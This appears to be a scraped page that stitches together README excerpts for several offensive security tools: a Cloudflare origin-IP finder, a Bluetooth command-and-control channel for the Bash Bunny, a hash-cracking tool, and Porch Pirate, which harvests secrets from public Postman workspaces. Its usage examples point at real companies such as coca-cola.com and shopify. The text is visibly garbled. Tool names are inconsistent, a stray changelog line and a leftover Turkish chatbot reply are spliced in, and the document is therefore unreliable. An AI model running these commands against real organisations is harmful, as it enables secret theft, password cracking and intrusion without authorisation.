1. False Negatives: CloakReveal3r may not always accurately identify the real IP address behind Cloudflare, particularly for websites with complex network configurations or strict security measures.
2. Dynamic Environments: Websites' infrastructure and configurations can change over time. The tool may not capture these changes, potentially leading to outdated information.
3. Subdomain Variation: While the tool scans subdomains, it doesn't guarantee that all subdomains' A records will point to the pri mary host. Some subdomains may also be protected by Cloudflare.
How to Use:
Run CloudScan with a single command-line argument: the target domain you want to analyze.
git clone https://github.com/spyboy-productions/CloakQuest3r.git
cd CloakQuest3r
pip3 install -r requirements.txt
python cloakquest3r.py example.com
The tool will check if the website is using Cloudflare. If not, it will inform you that subdomain scanning is unnecessary.
If Cloudflare is detected, CloudScan will scan for subdomains and identify their real IP addresses.
You will receive detailed output, including the number of subdomains scanned, the total number of subdomains found, and the time taken for the scan.
Any real IP addresses found will be displayed, allowing you to conduct further analysis and penetration testing.
CloudScan simplifies the process of assessing website security by providing a clear, organized, and informative report. Use it to enhance your security assessments, identify potential vulnerabilities, and secure your web assets.
Run it online on replit.com : https://replit.com/@spyb0y/CloakQuest3r
C2 solution that communicates directly over Bluetooth-Low-Energy with your Bash Bunny Mark II.
Send your Bash Bunny all the instructions it needs just over the air.
pip install pygatt "pygatt[GATTTOOL]"
Make sure BlueZ is installed and gatttool is usable
sudo apt install bluez
git clone https://github.com/90N45-d3v/BlueBunny
cd BlueBunny/C2
sudo python c2-server.py
BlueBunny/payload.txt).localhost:1472 and connect your Bash Bunny (Your Bash Bunny will light up green when it's ready to pair).You can use BlueBunny's BLE backend and communicate with your Bash Bunny manually.
# Import the backend (BlueBunny/C2/BunnyLE.py)
import BunnyLE
# Define the data to send
data = "QUACK STRING I love my Bash Bunny"
# Define the type of the data to send ("cmd" or "payload") (payload data will be temporary written to a file, to execute multiple commands like in a payload script file)
d_type = "cmd"
# Initialize BunnyLE
BunnyLE.init()
# Connect to your Bash Bunny
bb = BunnyLE.connect()
# Send the data and let it execute
BunnyLE.send(bb, data, d_type)The Bluetooth stack used is well known, but also very buggy. If starting the connection with your Bash Bunny does not work, it is probably a temporary problem due to BlueZ. Here are some kind of errors that can be caused by temporary bugs. These usually disappear at the latest after rebooting the C2's operating system, so don't be surprised and calm down if they show up.
As I said, BlueZ, the base for the bluetooth part used in BlueBunny, is somewhat bug prone. If you encounter any non-temporary bugs when connecting to Bash Bunny as well as any other bugs/difficulties in the whole BlueBunny project, you are always welcome to contact me. Be it a problem, an idea/solution or just a nice feedback.
The summary of the changelog since the 2023.3 release from August is:
PassBreaker is a command-line password cracking tool developed in Python. It allows you to perform various password cracking techniques such as wordlist-based attacks and brute force attacks.Β
Clone the repository:
git clone https://github.com/HalilDeniz/PassBreaker.gitInstall the required dependencies:
pip install -r requirements.txtpython passbreaker.py <password_hash> <wordlist_file> [--algorithm]Replace <password_hash> with the target password hash and <wordlist_file> with the path to the wordlist file containing potential passwords.
--algorithm <algorithm>: Specify the hash algorithm to use (e.g., md5, sha256, sha512).-s, --salt <salt>: Specify a salt value to use.-p, --parallel: Enable parallel processing for faster cracking.-c, --complexity: Evaluate password complexity before cracking.-b, --brute-force: Perform a brute force attack.--min-length <min_length>: Set the minimum password length for brute force attacks.--max-length <max_length>: Set the maximum password length for brute force attacks.--character-set <character_set>: Set the character set to use for brute force attacks.Elbette! Δ°Εte Δ°ngilizce olarak yazΔ±lmΔ±Ε baΕlΔ±k ve küçük bir bilgi ile daha fazla kullanΔ±m ΓΆrneΔi:
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm md5This command attempts to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" using the MD5 algorithm and a wordlist from the "passwords.txt" file.
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 --brute-force --min-length 6 --max-length 8 --character-set abc123This command performs a brute force attack to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" by trying all possible combinations of passwords with a length between 6 and 8 characters, using the character set "abc123".
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm sha256 --complexityThis command evaluates the complexity of passwords in the "passwords.txt" file and attempts to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" using the SHA-256 algorithm. It only tries passwords that meet the complexity requirements.
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm md5 --salt mysalt123This command uses a specific salt value ("mysalt123") for the password cracking process. Salt is used to enhance the security of passwords.
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm sha512 --parallelThis command performs password cracking with parallel processing for faster cracking. It utilizes multiple processing cores, but it may consume more system resources.
These examples demonstrate different features and use cases of the "PassBreaker" password cracking tool. Users can customize the parameters based on their needs and goals.
This tool is intended for educational and ethical purposes only. Misuse of this tool for any malicious activities is strictly prohibited. The developers assume no liability and are not responsible for any misuse or damage caused by this tool.
Contributions are welcome! To contribute to PassBreaker, follow these steps:
If you have any questions, comments, or suggestions about PassBreaker, please feel free to contact me:
PassBreaker is released under the MIT License. See LICENSE for more information.
Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.
Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:
python3 -m pip install porch-pirateThe Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.
Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.
--globals--collections--requests--urls--dump--raw--curlporch-pirate -s "coca-cola.com"By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dumpPorch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.
porch-pirate -s "shopify" --globalsPorch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.
porch-pirate -s "coca-cola.com" --dumpA particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urlsPorch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.
porch-pirate -s "coca-cola.com" --urlsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collectionsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requestsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --rawporch-pirate -w WORKSPACE_IDporch-pirate -c COLLECTION_IDporch-pirate -r REQUEST_IDporch-pirate -u USERNAME/TEAMNAMEPorch Pirate can build curl requests when provided with a request ID for easier testing.
porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curlporch-pirate -s coca-cola.com --proxy 127.0.0.1:8080p = porchpirate()
print(p.search('coca-cola.com'))p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))Other library usage examples can be located in the examples directory, which contains the following examples:
dump_workspace.pyformat_search_results.pyformat_workspace_collections.pyformat_workspace_globals.pyget_collection.pyget_collections.pyget_profile.pyget_request.pyget_statistics.pyget_team.pyget_user.pyget_workspace.pyrecursive_globals_from_search.pyrequest_to_curl.pysearch.pysearch_by_page.pyworkspace_collections.py
